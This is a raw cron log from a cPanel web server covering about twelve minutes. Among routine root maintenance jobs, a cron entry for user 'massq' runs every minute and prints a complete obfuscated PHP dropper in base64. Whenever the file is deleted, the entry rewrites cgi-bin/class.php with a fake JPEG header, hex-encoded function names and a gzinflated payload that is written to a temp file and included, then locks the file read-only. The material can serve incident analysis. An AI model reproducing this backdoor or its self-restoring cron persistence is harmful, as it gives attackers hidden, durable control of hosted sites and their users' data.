Sep 11 00:58:01 server CROND[27092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:58:01 server CROND[27094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:59:01 server CROND[27474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:59:01 server CROND[27473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:59:01 server CROND[27475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:00:01 server CROND[27825]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:00:01 server CROND[27827]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:00:01 server CROND[27830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:00:01 server CROND[27833]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 01:00:01 server CROND[27829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:00:01 server CROND[27831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:00:01 server CROND[27835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:00:01 server CROND[27832]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:00:01 server CROND[27834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:01:01 server CROND[28813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:01:01 server CROND[28814]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 01:01:01 server CROND[28816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:01:01 server CROND[28815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:01:01 server run-parts(/etc/cron.hourly)[28814]: starting 0anacron
Sep 11 01:01:01 server anacron[28833]: Anacron started on 2026-09-11
Sep 11 01:01:01 server anacron[28833]: Normal exit (0 jobs run)
Sep 11 01:01:01 server run-parts(/etc/cron.hourly)[28838]: finished 0anacron
Sep 11 01:02:01 server CROND[29188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:02:01 server CROND[29190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:02:01 server CROND[29189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:03:01 server CROND[29565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:03:01 server CROND[29566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:03:01 server CROND[29567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:04:01 server CROND[29933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:04:01 server CROND[29934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:04:01 server CROND[29935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:05:01 server CROND[30327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:05:01 server CROND[30331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:05:01 server CROND[30333]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:05:01 server CROND[30330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:05:01 server CROND[30329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:05:01 server CROND[30335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:05:01 server CROND[30334]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:05:01 server CROND[30332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:06:01 server CROND[31284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:06:01 server CROND[31285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:06:01 server CROND[31286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:07:01 server CROND[31677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:07:01 server CROND[31678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:07:01 server CROND[31679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:08:02 server CROND[32062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:08:02 server CROND[32063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:08:02 server CROND[32064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:09:01 server CROND[32504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:09:01 server CROND[32505]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 01:09:01 server CROND[32507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:09:01 server CROND[32506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:10:01 server CROND[459]: (root) CMD (/usr/lib64/sa/sa1 1 1)
